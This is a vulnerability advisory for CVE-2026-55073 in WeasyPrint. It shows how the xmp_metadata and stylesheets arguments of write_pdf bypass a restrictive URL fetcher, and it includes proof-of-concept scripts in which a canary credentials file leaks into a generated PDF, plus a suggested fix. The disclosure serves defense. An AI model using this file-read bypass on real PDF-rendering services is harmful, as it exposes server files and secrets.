PT-2026-89206 · Pypi · Weasyprint

CVE-2026-55073

·

Publicado

2026-09-09

·

Atualizado

2026-09-10

CVSS v3.1

6.2

Média

VetorAV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

url fetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.
Two write pdf() channels ignore the document's url fetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:
  • xmp metadata=[url] - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.
  • stylesheets=[url or path] - the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole @import / url() graph.
Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive url fetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.

Affected versions

All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.

Root cause

select source() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):
python
def select source(guess=None, filename=None, url=None, ..., url fetcher=None, ...):
  ...
  if url fetcher is None:
    url fetcher = URLFetcher()
Five of the seven resource-loading sites thread the document's fetcher correctly:
  • <link rel=stylesheet> in weasyprint/css/ init .py
  • <style> in weasyprint/css/ init .py
  • @import in weasyprint/css/ init .py
  • @font-face / local() in weasyprint/text/fonts.py
  • @color-profile src in weasyprint/css/ init .py
  • images (<img>, CSS url(), SVG) in weasyprint/images.py
Two do not — they build a fresh default fetcher instead:
  • write pdf(xmp metadata=[...]) in weasyprint/pdf/ init .py
  • write pdf(stylesheets=[str]) in weasyprint/document.py
xmp metadata - pdf/ init .py calls select source(url) with no url fetcher, so the default fetcher runs regardless of what the caller configured:
python
if options['xmp metadata']:
  for url in options['xmp metadata']:
    result = select source(url)     # no url fetcher
stylesheets - document.py builds each sheet without passing url fetcher, and CSS. init then defaults to a fresh URLFetcher():
python
for css in options['stylesheets'] or []:
  if not hasattr(css, 'matcher'):
    css = CSS(              # no url fetcher=html.url fetcher
      guess=css, media type=html.media type,
      font config=font config, counter style=counter style,
      color profiles=color profiles)
Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.

Reproduction

Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.

1 - xmp metadata= reads a file:// the fetcher blocks

python
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
  def fetch(self, url, headers=None):
    if url.lower().startswith('file:'):
      raise ValueError('blocked ' + url)
    return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secret.xmp')
open(path, 'wb').write(b'CANARY XMP LEAK 7f3a9c')
pdf = HTML(string='<p>hi</p>', url fetcher=Block()).write pdf(
  xmp metadata=['file://' + path], pdf variant='pdf/a-3b', uncompressed pdf=True)
print('secret file leaked into PDF:', b'CANARY XMP LEAK 7f3a9c' in pdf)
# -> True
(pdf variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)

2 - stylesheets= applies a blocked file:// sheet (with control)

python
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
  def fetch(self, url, headers=None):
    if url.lower().startswith('file:'):
      raise ValueError('blocked ' + url)
    return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'evil.css')
open(path, 'w').write('@page { size: 1234px 5678px }')

doc = HTML(string='<p>x</p>', url fetcher=Block()).render(stylesheets=['file://' + path])
p = doc.pages[0]
print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))
# -> True

# Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;
# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the
# gap is specific to stylesheets= and not a misconfigured fetcher.
ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path,
      url fetcher=Block()).render()
cp = ctrl.pages[0]
print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))
# -> True

3 - the stylesheets= bypass is transitive

python
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
  def fetch(self, url, headers=None):
    if url.lower().startswith('file:'):
      raise ValueError('blocked ' + url)
    return super().fetch(url, headers)

d = tempfile.mkdtemp()
inner = os.path.join(d, 'inner.css')
outer = os.path.join(d, 'outer.css')
open(inner, 'w').write('@page { size: 333px 777px }')
open(outer, 'w').write('@import url("file://%s");' % inner)
doc = HTML(string='<p>x</p>', url fetcher=Block()).render(stylesheets=['file://' + outer])
p = doc.pages[0]
print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))
# -> True

4 - xmp metadata= discloses a credentials file in full

python
import os, json, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
  def fetch(self, url, headers=None):
    if url.lower().startswith('file:'):
      raise ValueError('blocked ' + url)
    return super().fetch(url, headers)

creds = {'db name': 'CANARY DB NAME', 'db password': 'CANARY PASSWORD a3f7e9c2',
     'encryption key': 'CANARY ENC KEY b8d4f6a1', 'secret key': 'CANARY SECRET KEY c5e9d2b7'}
d = tempfile.mkdtemp()
path = os.path.join(d, 'site config.json')
json.dump(creds, open(path, 'w'))
pdf = HTML(string='<p>x</p>', url fetcher=Block()).write pdf(
  xmp metadata=['file://' + path], pdf variant='pdf/a-3b', uncompressed pdf=True)
print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))
# -> True
An attacker who controls the xmp metadata path reads any file the rendering process can access and receives its contents in the generated PDF.

5 - scope of the stylesheets= channel (honest bound)

The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.
python
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
  def fetch(self, url, headers=None):
    if url.lower().startswith('file:'):
      raise ValueError('blocked ' + url)
    return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secrets.css')
open(path, 'w').write('/* CANARY SECRET e2a8c5d4 */
@page { size: 999px 888px }')
html = HTML(string='<p>x</p>', url fetcher=Block())
doc = html.render(stylesheets=['file://' + path])
pdf = html.write pdf(stylesheets=['file://' + path], uncompressed pdf=True)
p = doc.pages[0]
print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888))  # -> True
print('comment leaked verbatim:', b'CANARY SECRET e2a8c5d4' in pdf)         # -> False

Suggested fix

Route both call sites through the document's url fetcher, matching the five sites that already do this.
  • pdf/ init .py - select source(url, url fetcher=self.url fetcher). (Alternatively, restrict xmp metadata to byte strings so no URL fetching occurs.)
  • document.py - CSS(guess=css, ..., url fetcher=html.url fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.

Correção

SSRF

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-55073
GHSA-JF6Q-CHMF-3H3V
PYSEC-2026-3940

Produtos afetados

Weasyprint